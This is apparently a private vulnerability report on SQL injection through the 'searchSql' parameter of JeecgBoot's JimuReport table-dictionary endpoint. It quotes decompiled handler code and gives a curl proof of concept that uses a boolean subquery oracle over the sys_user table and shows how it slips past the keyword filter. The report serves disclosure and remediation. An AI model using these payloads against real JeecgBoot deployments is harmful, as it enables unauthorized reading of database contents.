| Описание | SQL injection via searchSql in the JimuReport table-dictionary API reachable by any authenticated user
Vendor: JEECG
Affected versions: JeecgBoot 3.9.5 with bundled `org.jeecgframework.jimureport:jimureport-spring-boot4-starter` 2.5.1; reviewed at commit `e3b9dc0aefe1943d9772b026f64ed671a7c82802` (`v3.9.5版本发布`, 2026-08-26), exact-baseline jar sha256 `8984f38a3cd28bd1ede3cdca60e2d4447fa8ce6b32a9ff64e9c3dd5795f2e79a`. The handler exists only in the pinned third-party jar (`getTableDictList` does not appear anywhere in the jeecg-boot tree or its 2 348 commits, and no in-tree fix exists)
Vulnerability class: SQL injection through a concatenated table-dictionary condition (CWE-89) with partial-mitigation bypass
Preconditions: Any authenticated user — no permission or role is needed, only an ordinary JWT. The route is not in the Shiro `anon` chain, so a JimuReport token (a normal JeecgBoot JWT) is required, and an ordinary JWT is enough: the handler carries no `@RequiresPermissions`/role annotation and no `@JimuSignature`, and the low-privilege `test`-role account `ceshi` sufficed. Without a token the route answers `{"code":500,"message":"Token校验失败,无权限访问!"}`. No administrator role is needed.
The `searchSql` query parameter of the JimuReport table-dictionary API is concatenated raw into the dictionary `SELECT`, letting any authenticated user execute attacker-supplied SQL text inside the application's database session.
Data flow: HTTP `dictCode`/`searchSql` at `GET /jmreport/form/getTableDictList` → `JimuFormApiService.getTableDictList` → `"select ... where 1=1 and " + searchSql` → `jmreportDynamicDbUtil.b(dbKey, querySql, ...)` dynamic-datasource execution → rows returned to the caller.
### Affected interfaces
| Interface |
|---|
| GET /jeecg-boot/jmreport/form/getTableDictList?dictCode=\<datasource-id\>,\<table\>,\<code-field\>,\<text-field\>&searchSql=\<condition\>&queryAll=true with header `X-Access-Token: <any valid JeecgBoot JWT>` |
Primary route detail:
```
GET /jeecg-boot/jmreport/form/getTableDictList?dictCode=<ds>,<table>,<code-field>,<text-field>&searchSql=<condition>&queryAll=true
X-Access-Token: <any valid JeecgBoot JWT>
```
Any authenticated user can call the route — the handler exists only in the pinned JimuReport
starter jar and carries no `@JimuSignature` and no permission annotation. The caller also picks
the datasource, table and column names through `dictCode`, and supplies an SQL expression that is
evaluated verbatim after a keyword filter that blocks only statement-breaking payloads.
### Root cause
The gap is a caller/authorization mismatch plus a data-to-SQL-text boundary crossing: an interface
meant to feed a form widget from a configured table lets any authenticated caller pick the
datasource, table and column names (`dictCode`) and supply an SQL expression that is evaluated
verbatim.
1. `JimuFormApiController.getTableDictList` → `JimuFormApiService.getTableDictList(dictCode, searchSql, searchText, searchValue, pageNo, pageSize, queryAll)` (decompiled from the exact 2.5.1 starter jar):
```java
String[] dictCodeSplit = dictCode.split(","); // caller-supplied datasource/table/fields
String dbKey = dictCodeSplit[0]; String table = dictCodeSplit[1];
String codeField = dictCodeSplit[2]; String textField = dictCodeSplit[3];
SqlInjectionUtil.a(new String[]{table, codeField, textField, searchSql}); // keyword guard
String querySql = String.format("select %s as value, %s as text from %s where 1=1 ",
codeField, textField, table);
if (OkConvertUtils.isNotEmpty(searchSql)) {
searchSql = searchSql.toLowerCase().replaceAll("\\s*where\\s+", "");
querySql = querySql + " and " + searchSql; // raw concatenation
}
...
return this.jmreportDynamicDbUtil.b(dbKey, querySql, queryParams); // executed
```
2. The only guard is `org.jeecg.modules.jmreport.common.util.SqlInjectionUtil`, a keyword check that refuses `;`, `--`/comments, `sleep(...)`, `count `, `char `, `+` and the usual system catalogs — but accepts boolean and subquery expressions.
3. There is no allowlist binding `dictCode` to server-configured dictionary metadata, no parameterization of `searchSql`, and no permission annotation on the handler; the evaluated expression and the chosen datasource/table/fields are all caller-controlled.
Consequence: a payload such as `EXISTS(SELECT username FROM sys_user LIMIT 1)` is evaluated by the
database inside the dictionary query, so the dictionary response becomes a boolean oracle over any
table the datasource can read (the caller also chooses that datasource, table and column names
through `dictCode`). This is blind read-only extraction; no write statement is needed for the
oracle to work.
Baseline: JeecgBoot 3.9.5, self-hosted exact-baseline jar (sha256 `8984f38a...`) on `127.0.0.1:18102`, shipped `dev` profile, MySQL on loopback. A datasource row plus a two-row table `t50c11_dict` (columns `c`,`t`, rows `c1`/`c2`) were created for the probe and dropped afterwards. All requests carry only the low-privilege `ceshi` (role `test`) JWT in `X-Access-Token`; the token value is redacted here.
**1. Negative control — no token:**
```sh
$ curl -s 'http://127.0.0.1:18102/jeecg-boot/jmreport/form/getTableDictList?dictCode=<ds>,t50c11_dict,c,t&queryAll=true'
{"code":500,"message":"Token校验失败,无权限访问!"}
```
**2. Control — token, no `searchSql` (the interface works normally):**
```sh
$ curl -s -H 'X-Access-Token: <ceshi JWT>' 'http://127.0.0.1:18102/jeecg-boot/jmreport/form/getTableDictList?dictCode=<ds>,t50c11_dict,c,t&queryAll=true'
{"code":200,...,"result":[{"value":"c1","text":"text-one"},{"value":"c2","text":"text-two"}]}
```
**3. Boolean oracle over `sys_user` (a table outside this route's data scope):**
```sh
$ curl -s -H 'X-Access-Token: <ceshi JWT>' 'http://127.0.0.1:18102/jeecg-boot/jmreport/form/getTableDictList?dictCode=<ds>,t50c11_dict,c,t&searchSql=EXISTS(SELECT%20username%20FROM%20sys_user%20LIMIT%201)&queryAll=true'
{"code":200,...,"result":[{"value":"c1",...},{"value":"c2",...}]} # predicate true -> both rows
$ curl -s -H 'X-Access-Token: <ceshi JWT>' 'http://127.0.0.1:18102/jeecg-boot/jmreport/form/getTableDictList?dictCode=<ds>,t50c11_dict,c,t&searchSql=EXISTS(SELECT%20username%20FROM%20sys_user%20LIMIT%200)&queryAll=true'
{"code":200,...,"result":[]} # predicate false -> no rows
# same with LIMIT 1 OFFSET 4 (fewer than five users): result=[] (false)
```
The `LIMIT 1`/`LIMIT 0`/`LIMIT 1 OFFSET 4` triple shows the returned set depends on the result of a caller-supplied subquery over `sys_user`, not on the fixture table's contents.
**4. Concatenation visible in the executed statement (error text):**
```sh
$ curl -s -H 'X-Access-Token: <ceshi JWT>' 'http://127.0.0.1:18102/jeecg-boot/jmreport/form/getTableDictList?dictCode=<ds>,t50c11_dict,c,t&searchSql=EXISTS(SELECT%201%20FROM%20sys_user%20WHERE%20username%3D%27admin%27)&queryAll=true'
{"code":500,"message":"StatementCallback; bad SQL grammar [select c as value, t as text from t50c11_dict where 1=1 and exists(select 1 from sys_userusername='admin')]",...}
```
The caller payload appears verbatim inside the executed statement (the mangled `sys_userusername` is the handler's own `replaceAll("\\s*where\\s+", "")` step deleting the word `where` from the payload).
**5. The shipped keyword guard is a partial mitigation only:**
```sh
searchSql=SLEEP(2) -> {"code":...,"message":"请注意,值可能存在SQL注入风险!--->sleep(2)"}
searchSql=1=1;drop table -> "...SQL注入风险!--->1=1;drop table t50c11_dict"
searchSql=1=1 -- -> "请注意,SQL中不允许含注释,有安全风险!"
```
Statement-breaking payloads are refused while the boolean/subquery oracle of steps 3-4 passes through.
All testing was performed against a self-hosted instance on the reporter's own host. No third-party system, production instance or customer data was involved.
- **Vendor contact**: GitHub Private Vulnerability Reporting - jeecgboot/jimureport
- **Status**: vendor notified 2026-10-06 through GitHub Private Vulnerability Reporting; private report https://github.com/jeecgboot/jimureport/security/advisories/GHSA-652p-28r3-rrwx; not publicly disclosed; no CVE assigned
- **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally. |
|---|